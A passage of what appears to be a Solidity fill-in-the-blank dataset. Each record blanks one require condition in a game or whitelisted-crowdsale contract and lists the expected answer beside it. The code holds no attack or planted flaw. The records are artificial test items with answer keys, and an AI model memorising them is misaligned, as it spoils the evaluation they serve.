mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
if (!bGenerated) {
require(<FILL_ME>)
ObtainChip(iChip);
}
Bag storage obj = g_BagList[acc];
obj.m_Chips.add(iChip,1);
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| CanObtainChip(iChip) | 325,936 | CanObtainChip(iChip) |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
require(<FILL_ME>)
GainCard2(acc,iCard);
ProfitByCard(acc,iCard);
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| CardExists(iCard)&&!HasCard(acc,iCard) | 325,936 | CardExists(iCard)&&!HasCard(acc,iCard) |
"Whitelist: address is member already." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
abstract contract Whitelist is Ownable {
mapping (address => bool) private _members;
event MemberAdded(address member);
event MemberRemoved(address member);
function isMember(address _member) public view returns(bool) {
}
function addMember(address _member) public onlyOwner {
require(<FILL_ME>)
_members[_member] = true;
emit MemberAdded(_member);
}
function removeMember(address _member) public onlyOwner {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
modifier nonReentrant() {
}
}
interface IDepository {
function deposit(address owner, uint256 amount) external;
}
contract Crowdsale is Whitelist, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token = IERC20(0xc878c93B5087887B908331Fcf8809B2C958cc5Ec); // ARK
uint256 private _phaseOneEndTime;
uint256 private _phaseTwoEndTime;
uint256 private _phaseOneRate = 10;
uint256 private _phaseTwoRate = 5;
mapping (IERC20 => bool) private _stableCoins;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor () {
}
function hasClosed() public view returns (bool) {
}
function phaseOneEndTime() external view returns (uint256) {
}
function phaseTwoEndTime() external view returns (uint256) {
}
function phaseOneRate() external view returns (uint256) {
}
function phaseTwoRate() external view returns (uint256) {
}
function buyTokens(address purchaser, address beneficiary, IERC20 stableCoin, uint256 amount) external nonReentrant {
}
function withdraw(IERC20 stableCoin, address beneficiary) external onlyOwner {
}
}
| !isMember(_member),"Whitelist: address is member already." | 326,045 | !isMember(_member) |
"Whitelist: Not member of whitelist." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
abstract contract Whitelist is Ownable {
mapping (address => bool) private _members;
event MemberAdded(address member);
event MemberRemoved(address member);
function isMember(address _member) public view returns(bool) {
}
function addMember(address _member) public onlyOwner {
}
function removeMember(address _member) public onlyOwner {
require(<FILL_ME>)
delete _members[_member];
emit MemberRemoved(_member);
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
modifier nonReentrant() {
}
}
interface IDepository {
function deposit(address owner, uint256 amount) external;
}
contract Crowdsale is Whitelist, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token = IERC20(0xc878c93B5087887B908331Fcf8809B2C958cc5Ec); // ARK
uint256 private _phaseOneEndTime;
uint256 private _phaseTwoEndTime;
uint256 private _phaseOneRate = 10;
uint256 private _phaseTwoRate = 5;
mapping (IERC20 => bool) private _stableCoins;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor () {
}
function hasClosed() public view returns (bool) {
}
function phaseOneEndTime() external view returns (uint256) {
}
function phaseTwoEndTime() external view returns (uint256) {
}
function phaseOneRate() external view returns (uint256) {
}
function phaseTwoRate() external view returns (uint256) {
}
function buyTokens(address purchaser, address beneficiary, IERC20 stableCoin, uint256 amount) external nonReentrant {
}
function withdraw(IERC20 stableCoin, address beneficiary) external onlyOwner {
}
}
| isMember(_member),"Whitelist: Not member of whitelist." | 326,045 | isMember(_member) |
"Crowdsale: Not purchaser of whitelist." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
abstract contract Whitelist is Ownable {
mapping (address => bool) private _members;
event MemberAdded(address member);
event MemberRemoved(address member);
function isMember(address _member) public view returns(bool) {
}
function addMember(address _member) public onlyOwner {
}
function removeMember(address _member) public onlyOwner {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
modifier nonReentrant() {
}
}
interface IDepository {
function deposit(address owner, uint256 amount) external;
}
contract Crowdsale is Whitelist, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token = IERC20(0xc878c93B5087887B908331Fcf8809B2C958cc5Ec); // ARK
uint256 private _phaseOneEndTime;
uint256 private _phaseTwoEndTime;
uint256 private _phaseOneRate = 10;
uint256 private _phaseTwoRate = 5;
mapping (IERC20 => bool) private _stableCoins;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor () {
}
function hasClosed() public view returns (bool) {
}
function phaseOneEndTime() external view returns (uint256) {
}
function phaseTwoEndTime() external view returns (uint256) {
}
function phaseOneRate() external view returns (uint256) {
}
function phaseTwoRate() external view returns (uint256) {
}
function buyTokens(address purchaser, address beneficiary, IERC20 stableCoin, uint256 amount) external nonReentrant {
require(!hasClosed(), "Crowdsale: already closed");
require(<FILL_ME>)
require(_stableCoins[stableCoin], "Crowdsale: invalid stable token");
stableCoin.safeTransferFrom(purchaser, address(this), amount);
if (stableCoin.decimals() < _token.decimals()) {
amount = amount * 10 ** uint256(_token.decimals() - stableCoin.decimals());
}
uint256 tokens = amount.mul(_phaseOneRate);
if (block.timestamp > _phaseOneEndTime && block.timestamp < _phaseTwoEndTime) {
tokens = amount.mul(_phaseTwoRate);
}
_token.safeTransfer(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, amount, tokens);
}
function withdraw(IERC20 stableCoin, address beneficiary) external onlyOwner {
}
}
| isMember(purchaser),"Crowdsale: Not purchaser of whitelist." | 326,045 | isMember(purchaser) |
"Crowdsale: invalid stable token" | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
